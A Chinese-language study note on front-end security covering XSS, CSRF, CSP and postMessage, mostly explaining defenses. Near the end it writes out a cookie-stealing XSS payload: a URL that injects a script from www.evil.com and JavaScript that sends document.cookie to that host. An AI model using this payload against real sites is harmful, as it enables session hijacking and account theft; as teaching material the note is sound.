前端的安全

简单实例

XSS（跨站脚本）

XSS（跨站脚本）
防止后端返回了可执行脚本；是指攻击者在返回的HTML中嵌入javascript脚本。
（1）原理：页面渲染的数据中包含可运行的脚本
（2）攻击的基本类型：反射型（url参数直接注入）和存储型（存储到DB后读取时注入）；DOM型（后端数据库/前端存储/URL）
（3）注入点：HTML节点内的内容（text）；HTML中DOM元素的属性；Javascript代码；富文本；

//HTML节点内容注入
<div><script>alert(1);</script></div>  
//DOM属性注入
<img src='/images/1.png' onerror='alert(1);'>  
//javascript代码
<script>
    var a = '1';alert(1);''
</script>
//富文本是html标签，文字，以及样式的集合，很容易实现HTML节点内容注入和DOM属性注入，有被攻击的风险

解决方案：
(1) 输入过滤。对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email格式，电话号码格式等等，可以初步对XSS漏洞进行防御。
上面只在web端做了限制，攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此，后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或者转义处理，然后再存储到数据库中。

(2) 输出编码。服务器端输出到浏览器的数据，可以进行编码或转义来防范XSS攻击。

(3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作，同时要避免使用客户端数据，这些操作需尽量在服务器端使用动态页面来实现。

(4) HttpOnly Cookie。设置HttpOnly，浏览器可以禁止页面的JavaScript访问带有HttpOnly属性的Cookie，保护用户cookie信息。
secure - 这个属性告诉浏览器仅在请求为https的时候发送cookie。

(5) WAF(Web Application Firewall)，Web应用防火墙，主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发，在企业环境中深受欢迎。

(6) CSP（Content Security Policy）内容安全策略：用于指定哪些内容可执行

//我们可以在http响应头中设置Content-Security-Policy
//图片可以从任何地方加载(注意 "*" 通配符)
//多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)
//可运行脚本仅允许来自于userscripts.example.com
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
//同时meta中也支持设置Content-Security-Policy
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

危害：
1、盗取用户Cookie，盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
8、劫持用户Web行为，甚至进一步渗透内网。
9、XSS钓鱼
10、获取用户真实的IP地址

CSRF（跨站请求伪造）

CSRF（跨站请求伪造）
原理：在第三方网站向本网站发起请求（如图）利用用户身份操作用户账户的一种攻击方式

（1）用户在a站前端页面发起登录（身份认证）请求
（2）a站后端确认身份，登录成功，cookie中存在用户的身份认证信息
（3）b站前端页面向a站后端发起请求，带着a站的cookie信息（身份认证信息），请求成功
综上，只要用户访问了b站的前端页面，b站就可以在用户完全不知道的情况下，带着a站的用户登录态（cookie）向a站发起请求。
解决方案：
（1）Referer Check。浏览器向web服务器发送请求时，一般会带上Referer信息，告诉服务器是从哪个页面链接过来的，可以通过检查请求的来源来防御CSRF攻击。
利用HTTP头中的Referer判断请求来源是否合法； Referer首部包含了当前请求页面的来源页面的地址。通过检查http头referer的值是不是这个页面，来判断是不是CSRF攻击。
从HTTPS跳转到HTTP，出于安全的考虑，浏览器不会发送Referer.；服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞，那么攻击者可以在其他网站注入恶意脚本，受害者进入了此类同域的网址，也会遭受攻击。
出于以上原因，无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。

（2）添加验证信息：验证码或 token验证
　　验证码：请求时，对验证码进行验证，验证码正确才会进行操作。
　　token验证：a站前端将token存在当前页面中（比如表单中的input隐藏域，meta标签或者任何一个dom的属性）和cookie中，请求a站后端时，参数中带上这个token字段，a站后端将参数中的token和cookie中的token做对比， 相同则验证通过，不同则请求不合法。
　　token可以在用户登陆后产生并放于session或cookie中，每次请求把token从session或cookie中拿出，与本次请求中的token 进行比对。由于token的存在，攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时，当某个页面消耗掉token后，其他页面的表单保存的还是被消耗掉的那个token，其他页面的表单提交时会出现token错误。
　　不管是验证码还是token验证，原理都是一样的，在a站前端页面加入验证，当第三方网站请求a站后端时，即使能携带a站cookie，但是因为没有经过a站的前端页面从而拿不到验证信息，也会导致请求失败。
　　两种防御的方法也有区别，验证码需要用户去填写，增加了使用网站的复杂度，而token不影响用户体验。

（4）禁止第三方网站携带本网站的cookie信息：设置same-site属性，same-site属性有两个值，Strict（所有的第三方请求都不能携带本网站的cookie）和Lax（链接可以，但是form表单提交和ajax请求不行）

通过读取浏览器的cookie对象，从而发起“cookie劫持”攻击

攻击者首先加载一个远程脚本

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload写在这个远程脚本中，避免直接在URL的参数里写入大量的Javascript代码
在evil.js中，通过如下代码窃取cookie

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

以上代码在页面中插入了一张看不见的图片，同时把document.cookie对象作为参数发送到远程服务器中。
http://www.evil.com/log并不一定要存在，因为这个请求会在远程服务器的Web日志中留下记录

127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288

CSP（内容安全策略）

postMessage 跨窗口传递信息

postMessage 允许每一个 window（包括当前窗口、弹出窗口、iframes等）对象往其他的窗口发送文本消息，从而实现跨窗口的消息传递。并且这个功能不受同源策略限制。

必要时，在接受窗口验证 Domain，甚至验证URL，以防止来自非法页面的消息。实际上是在代码上实现一次同源策略的验证过程。接受窗口对接口的信息进行安全检查。